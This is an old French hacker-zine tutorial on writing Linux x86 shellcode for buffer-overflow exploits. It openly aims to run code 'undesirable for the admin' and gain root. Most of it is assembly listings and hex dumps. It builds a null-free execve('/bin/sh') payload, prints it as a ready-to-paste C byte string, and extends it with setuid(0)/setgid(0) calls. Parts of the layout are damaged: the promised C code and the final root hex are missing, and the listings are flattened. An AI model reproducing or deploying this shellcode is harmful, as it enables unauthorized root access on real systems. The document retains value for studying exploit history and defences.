º Ecriture de ShellCode º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Bon tout d'abord je commence par un petit rappel sur les exploits. Dans un
exploit par buffer overflow le but est de faire executer du code indesirable
(enfin indesirable pour l'admin, pas pour nous) dans le but de devenir root
par exemple. Ce code se place dans le buffer qui sert a faire le buffer
overflow. Ce bout de code se nomme shellcode. Ici on va voir comment en
programmer.
Les outils necessaires:
~~~~~~~~~~~~~~~~~~~~~~~
le nombre d'outils a posseder est tres petit. En effet une distribution de
linux ainsi qu'un compilateur asm sont necessaires. Ici on va utiliser Nasm
car il est dans beaucoup de distrib et utilise la syntaxe intel.
Bon vous l'avez compris un shellcode ca se faire en asm. Et comme j'aime l'asm
ca devrait etre marrant.
On y va maintenant
~~~~~~~~~~~~~~~~~~
Je vais essayer d'etre le plus clair possible car je sais qu'y a plus grand
monde qui soit fascine par l'asm (vive l'asm!).
Commencons par un code permettant d'obtenir un shell histoire de pouvoir
lancer quelques commandes. Voyons le code en c, apres on le mettra en asm
code en c:
~~~~~~~~~~
Un fichier executable contient des sections comme sous windows. La section
.data contient les chaines de caracteres, les variables et autres et la
section .text (appelle parfois .code sous win32) acceuille le code executable.
Nous allons essayer de nous familiariser avec la syntaxe de Nasm pour creer
nos propres programmes. Le premier but est de creer un programme qui ecrira
"Asm PoWa", c'est juste pour eviter l'habituel "hello world" ;).
Voila comment presenter du code en asm compilable sous Nasm:
extern printf
puis pour l'appeler:
call printf
n'utilisant pas libc on ne peut pas faire de "ret" pour quitter. On utilise
donc exit(). ca peut paraitre con mais j'ai mis beacoup de temps avant de
faire fonctionner un si petit code. Allez, je vous le passe:
------------------------------------------------------
pour compiler ca se fait en 2 temps:
[root@OverFlow Desktop]# nasm shell.asm -f elf
[root@OverFlow Desktop]# gcc shell.o -o shell
[root@OverFlow Desktop]#
et on a un bel executable qu'on execute en faisant ./shell.(je sais pas
pourquoi je l'ai appele shell, je dois etre con...)
Bon ce petit programme il marche tres bien mais c'est un fichier elf
executable sous linux, or nous ce que l'on veut ce n'est pas un fichier
executable mais juste le code a copier dans un buffer. La structure du fichier
et tout ce qui va avec, nous on en a pas besoin. Revenons en a nos moutons et
essayons de convertir le premier programme d'en haut. (pour le tester on
compile encore en elf).
ca se complique. Il faut se debrouiller pour creer un tableau de pointeur, le
tout en asm. Bah pas vraiment insurmontable quand meme.
on cree 2 double words qui vont acceuillir les adresses vers les arguments.
on declare ca de cette facon:
args dd 0,0
le premier 0 va etre remplace par l'adresse en memoire de la chaine "/bin/sh",
le second 0 reste tel qu'il est pour marquer la fin du tableau.
Ensuite il faut donc l'adresse de "/bin/sh" pour remplir notre tableau. La où
en win32 tout bon vxer mettrait un "lea ebx, mystring" eh beh nasm il dit que
c'est pas bon! Il faudra mettre a la place:
mystring db "/bin/sh",0
mov ebx, mystring
et oui, un "mov", ca fait bizarre au debut mais bon, sniff, c'est comme ca on
peut rien y faire. l'instruction "mov ebx, mystring" met donc l'adresse de
mystring dans le registre 32 bits ebx. pourquoi ebx ? pour rien ! rien ne vous
empeche de mettre un autre registre. (du moins pour l'instant). Ensuite pour
mettre cette adresse dans le tableau, on fait:
mov [args], ebx
c'est tout con, non ? apres on appelle la fonction execve. N'oubliez pas qu'il
faut "pusher" les arguments dans le sens inverse. Voila ce que ca donne:
------------------------------------------------------
1 2 BITS 32 3 GLOBAL main 4 extern exit 5 extern execve 6 7 SECTION .text 8 main: 9 xor eax, eax ; eax = 0 10 mov ebx, mystring ; ebx = adresse de mystring 11 mov [args], ebx ; stocke l'adresse dans args[0] 12 13 push eax ; NULL 14 push dword args ; 15 push ebx ; "/bin/sh",0 16 call execve 17 call exit 18 19 SECTION .data 20 mystring db "/bin/sh",0 21 args dd 0,0
C'est quand meme bien plus joli qu'en c vous trouvez pas. C'est meme presque
plus simple a comprendre quand on connait un peu l'asm. Mais la on se retrouve
devant un gros (pas tant que ca) probleme: une chaine de caractere ne comporte
qu'un seul 0 ! le 0 final marquant la fin de la chaine. Or dans notre
programme on utilise la valeur 0. Comment faire pour eviter d'avoir un 0
statique dans le buffer. Et bien on va mettre les 0 lors de l'execution, un
simple xor sur un registre permettant d'obtenir une valeur nulle, on va donc
proceder a l'aide de cette instruction. Voila le resultat:
------------------------------------------------------
1 2 BITS 32 3 GLOBAL main 4 extern exit 5 extern execve 6 7 SECTION .text 8 main: 9 10 xor eax, eax ; eax = 0 11 mov ebx, buffer ; ebx = adresse de mystring 12 mov [ebx+8], ebx ; stocke l'adresse dans args 13 mov [ebx+12], eax ; 0 14 lea ecx, [ebx+8] 15 16 push eax ; NULL 17 push ecx ; 18 push ebx ; "/bin/sh",0 19 call execve 20 call exit 21 22 SECTION .data 23 buffer db "/bin/sh",0 24 args dd 1,1
Dans le shellcode final on pourra enlever "args dd 1,1". Je l'ai mis dans le
cas present pour ne pas ecraser des donnees sensibles (c'est jamais tres bon),
cependant le shellcode sera la plupart du temps suivi de nops donc pas de
probleme pour ecrire dessus. Ainsi notre buffer se termine au 0 apres /bin/sh.
A noter que pour atteindre args on fait pointer ebx sur le buffer du dessus
puis on fait ebx+8 pour l'atteindre (/bin/sh faisant 7 lettres + le 0 final).
Maintenant convertissons ce petit programme elf en shellcode.
C'est a dire virons tous ce qui ne sert pas directement et enlevons les EXTERN
qu'on ne pourra pas utiliser, ne connaissant pas les adresses de ces fonctions.
Comment pourra t'on lancer un shell sans execve ? C'est tres simple, on va
utiliser directement l'interruption qui lui est associee. Allons voir dans
<usr/include/asm/unistd.h> et voila ce qu'on trouve:
#define __NR_exit 1
#define __NR_execve 11
hehe, l'int 1 pour exit et l'int 11 pour execve. Le probleme maintenant c'est
de savoir quels registres utiliser pour passer les arguments.
Apparement le seul moyen pour trouver ca est de debugger les fonctions elles
meme avec gdb. Je ne compte pas m'etendre la dessus pour l'instant, allez
plutot regarder l'ecrit d'Aleph One traduit par S/ash dans le mag rtc
(Phrack 49 pour l'original) D'apres lui voila comment lancer l'interruption
correspondant a execve():
EBX = adresse de "/bin/sh",0
ECX = adresse de l'adresse de "/bin/sh",0.
EDX = adresse du 0 de fin de tableau
EAX = system call number de execve() : 11
puis faire "INT 80h" pour appeler l'interruption.
pour exit():
EBX = code de sortie : 0
EAX = system call number de exit() : 1
puis faire "INT 80h" pour appeler l'interruption.
En fait pour appeler un INT, eax contient le system call number, puis les
parametres sont passes dans l'ordre dans les registres EBX, ECX, EDX, ESI,
EDI, ESP, EBP. Ca commence a prendre forme c'est bien. Un dernier detail est
que le shellcode va se placer a une adresse memoire qui variera d'un exploit a
un autre. Les adresses des datas ne seront donc plus valide. Comme c'est le
cas dans un virus. On utilisera donc une methode similaire a celle du calcul
du delta offset dans un virus: un appel a call met adresse de retour sur la
pile. il suffit de la recuperer a l'aide d'un pop ;). Le but est donc de faire
un saut de l'endroit des datas vers le code. Ainsi on aura l'adresse de debut
des datas. Pour l'instant voyons le code avec les interruptions:
------------------------------------------------------
1 2 BITS 32 3 GLOBAL main 4 5 SECTION .text 6 main: 7 8 xor eax, eax ; EAX = 0 9 mov ebx, buffer ; EBX = adresse de "/bin/sh" 10 mov [ebx+8], ebx ; stocke l'adresse 11 mov [ebx+12], eax ; place le 0 12 mov eax, 11 ; EAX = system call number de execve() 13 lea ecx, [ebx+8] ; ECX = adresse de l'adresse de "/bin/sh" 14 lea edx, [ebx+12] ; EDX = adresse du 0 15 INT 80h 16 xor eax, eax ; EAX = 0 17 inc eax ; EAX = 1 18 xor ebx, ebx ; EBX = 0 19 INT 80h 20 21 SECTION .data 22 buffer db "/bin/sh",0 23 args dd 1,1 ; tableau recevant des adresses
Et voila on a enleve le petit probleme des fonctions deja toutes faites.
Maintenant reste le probleme de la localisation dans la memoire:
------------------------------------------------------
1 2 BITS 32 3 GLOBAL main 4 5 SECTION .text 6 main: 7 8 jmp datas 9shellstart: 10 11 pop ebx ; EBX = adresse de "/bin/sh" 12 xor eax, eax ; EAX = 0 13 mov [ebx+8], ebx ; stocke l'adresse 14 mov [ebx+12], eax ; place le 0 15 mov eax, 11 ; EAX = system call number de execve() 16 lea ecx, [ebx+8] ; ECX = adresse de l'adresse de "/bin/sh" 17 lea edx, [ebx+12] ; EDX = adresse du 0 18 INT 80h 19 xor eax, eax ; EAX = 0 20 inc eax ; EAX = 1 21 xor ebx, ebx ; EBX = 0 22 INT 80h 23 24 SECTION .data 25datas: 26 call shellstart 27 28 buffer db "/bin/sh",0 29 args dd 1,1 ; tableau recevant des adresses
Et voila, on saute vers les datas, a cet endroit un call renvoie au debut du
code, la valeur de retour placee sur la pile est donc celle de la
chaine "/bin/sh". En faisant "pop ebx" on place cette valeur dans ebx.
hehe.
NB: La methode du delta offset utilisee dans les virus permet d'obtenir le
decalage en memoire du virus par rapport au debut de l'hote. Ce decalage est
souvent place en ebp. ainsi pour modifier une variable on la note
[ebp+variable]. Voila pour la petite info ;)
On a plus qu'a mettre ca sous forme de shellcode. On vire les segments et tout:
(n'essayez pas de le compiler au format elf, n'ayant plus de segments, le
fichier executable ne peut pas fonctionner).
------------------------------------------------------
1 2 BITS 32 3 GLOBAL main 4 main: 5 6 jmp datas 7shellstart: 8 9 pop ebx ; EBX = adresse de "/bin/sh" 10 xor eax, eax ; EAX = 0 11 mov [ebx+8], ebx ; stocke l'adresse 12 mov [ebx+12], eax ; place le 0 13 mov eax, 11 ; EAX = system call number de execve() 14 lea ecx, [ebx+8] ; ECX = adresse de l'adresse de "/bin/sh" 15 lea edx, [ebx+12] ; EDX = adresse du 0 16 INT 80h 17 18 xor eax, eax ; EAX = 0 19 inc eax ; EAX = 1 20 xor ebx, ebx ; EBX = 0 21 INT 80h 22 23datas: 24 call shellstart 25 buffer db "/bin/sh",0
Voyons voir ce que ca donne. On le compile en faisant:
[root@OverFlow Desktop]# nasm -f coff shell.asm -l list.lst
j'adore cette option de Nasm. Regardez le resultat qu'on obtient dans list.lst:
1
2 BITS 32
3 GLOBAL main
4 main:
5
6 00000000 E91D000000 jmp datas
7 shellstart:
8
9 00000005 5B pop ebx ; EBX = adresse de "/bin/sh"
10 00000006 31C0 xor eax, eax ; EAX = 0
11 00000008 895B08 mov [ebx+8], ebx ; stocke l'adresse
12 0000000B 89430C mov [ebx+12], eax ; place le 0
13 0000000E B80B000000 mov eax, 11 ; EAX = system call number de execve()
14 00000013 8D4B08 lea ecx, [ebx+8] ; ECX = adresse de l'adresse de "/bin/sh"
15 00000016 8D530C lea edx, [ebx+12] ; EDX = adresse du 0
16 00000019 CD80 INT 80h
17
18 0000001B 31C0 xor eax, eax ; EAX = 0
19 0000001D 40 inc eax ; EAX = 1
20 0000001E 31DB xor ebx, ebx ; EBX = 0
21 00000020 CD80 INT 80h
22
23 datas:
24 00000022 E8DEFFFFFF call shellstart
25 00000027 2F62696E2F736800 buffer db "/bin/sh",0
Aie, on voit qu'il reste des 00 a l'interieur de notre code(regardez le code
hexa a gauche du code assembleur). Voyons le premier cas, le jmp. le jmp
present est un saut long. Il faut faire un saut court pour enlever tous ces 0.
La syntaxe en Nasm est differente de celle de Tasm, pour faire un saut court il
faudra ecrire : "jmp short datas". C'est regle pour ce probleme.
Le second est l'instruction mettant eax a 11. EAX etant de la taille d'un
double word quand on met eax a 11 on met en realite 0000000B dans eax. Pour
eviter ce probleme il suffit de mettre eax a 0 a l'aide d'un "xor eax,eax"
puis de mettre 11 dans le registre AL qui est un sous registre de EAX.
Un dernier detail est le 0 qui servait a terminer /bin/sh qu'il faut mettre
aussi lors de l'execution et non de maniere statique car lorsque l'on creera
l'exploit, le shellcode sera au debut du buffer provoquant l'overflow et non a
la fin.
voila le resultat et le fichier obtenu par Nasm en faisant
"nasm -f coff shell.asm -l list.lst":
------------------------------------------------------
1 2 BITS 32 3 GLOBAL main 4 main: 5 6 jmp short datas 7shellstart: 8 9 pop ebx ; EBX = adresse de "/bin/sh" 10 xor eax, eax ; EAX = 0 11 mov [ebx+8], ebx ; stocke l'adresse 12 mov [ebx+7], al ; le 0 de fin du buffer 13 mov [ebx+12], eax ; place le 0 14 mov al, 11 ; EAX = system call number de execve() 15 lea ecx, [ebx+8] ; ECX = adresse de l'adresse de "/bin/sh" 16 lea edx, [ebx+12] ; EDX = adresse du 0 17 INT 80h 18 19 xor eax, eax ; EAX = 0 20 inc eax ; EAX = 1 21 xor ebx, ebx ; EBX = 0 22 INT 80h 23 24datas: 25 call shellstart 26 buffer db "/bin/sh"
1 BITS 32
2 GLOBAL main
3 main:
4
5 00000000 EB1D jmp short datas
6 shellstart:
7
8 00000002 5B pop ebx ; EBX = adresse de "/bin/sh"
9 00000003 31C0 xor eax, eax ; EAX = 0
10 00000005 895B08 mov [ebx+8], ebx ; stocke l'adresse
11 00000008 884307 mov [ebx+7], al ; le 0 de fin du buffer
12 0000000B 89430C mov [ebx+12], eax ; place le 0
13 0000000E B00B mov al, 11 ; EAX = system call number de execve()
14 00000010 8D4B08 lea ecx, [ebx+8] ; ECX = adresse de l'adresse de "/bin/sh"
15 00000013 8D530C lea edx, [ebx+12] ; EDX = adresse du 0
16 00000016 CD80 INT 80h
17
18 00000018 31C0 xor eax, eax ; EAX = 0
19 0000001A 40 inc eax ; EAX = 1
20 0000001B 31DB xor ebx, ebx ; EBX = 0
21 0000001D CD80 INT 80h
22
23 datas:
24 0000001F E8DEFFFFFF call shellstart
25 00000024 2F62696E2F7368 buffer db "/bin/sh"
------------------------------------------------------
C'est pas beau ca ? Pas un seul 0 ;) On a plus qu'a recopier le code hexa et
a le mettre dans un buffer: (si vous avez la flemme de tout retaper, prenez un
editeur hexa et copier-coller le fichier obtenu en faisant "nasm shell.asm")
char shellcode[]=
"\xeb\x1d\x5b\x31\xc0\x89\x5b\x08\x88\x43"
"\x07\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\x31\xc0\x40\x31\xdb\xcd"
"\x80\xe8\xde\xff\xff\xff/bin/sh"
Maintenant faudrait etre sur qu'il fonctionne. Je le teste dans une backdoor
exploitable foireuse qui backdoor meme pas que j'ai faite. Nikel ca pouvait pas
mieux marcher ;)
La vitesse superieure: Choper le root
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Maintenant on va rooter tout ca. C'est bien beau un shell, mais quand on est
root c'est plus marrant. Pour etre root il faut utiliser setuid(0) et
setgid(0). Soit les codes 23 et 46 de l'INT 80h. Aller, voila le code:
------------------------------------------------------
1 2 BITS 32 3 GLOBAL main 4 main: 5 6 jmp short datas 7shellstart: 8 9;choppe le root 10;setuid(0) 11 xor eax, eax ; EAX = 0 12 mov al, 23 13 xor ebx, ebx 14 INT 80h 15 16;setgid(0) 17 xor eax, eax ; EAX = 0 18 mov al, 46 19 xor ebx, ebx 20 INT 80h 21 22;choppe un shell 23 24 pop ebx ; EBX = adresse de "/bin/sh" 25 mov [ebx+8], ebx ; stocke l'adresse 26 mov [ebx+7], al ; le 0 de fin du buffer 27 mov [ebx+12], eax ; place le 0 28 mov al, 11 ; EAX = system call number de execve() 29 lea ecx, [ebx+8] ; ECX = adresse de l'adresse de "/bin/sh" 30 lea edx, [ebx+12] ; EDX = adresse du 0 31 INT 80h 32 33;quitte 34 xor eax, eax ; EAX = 0 35 inc eax ; EAX = 1 36 xor ebx, ebx ; EBX = 0 37 INT 80h 38 39datas: 40 call shellstart 41 buffer db "/bin/sh"
Le shellcode correspondant:
J'espere que cet article servira a quelqu'un, si vous avez des questions
n'hesitez pas a m'envoyer un mail a hccc@caramail.com
[TiPiaX/VDS] - hccc@caramail.com
fr0g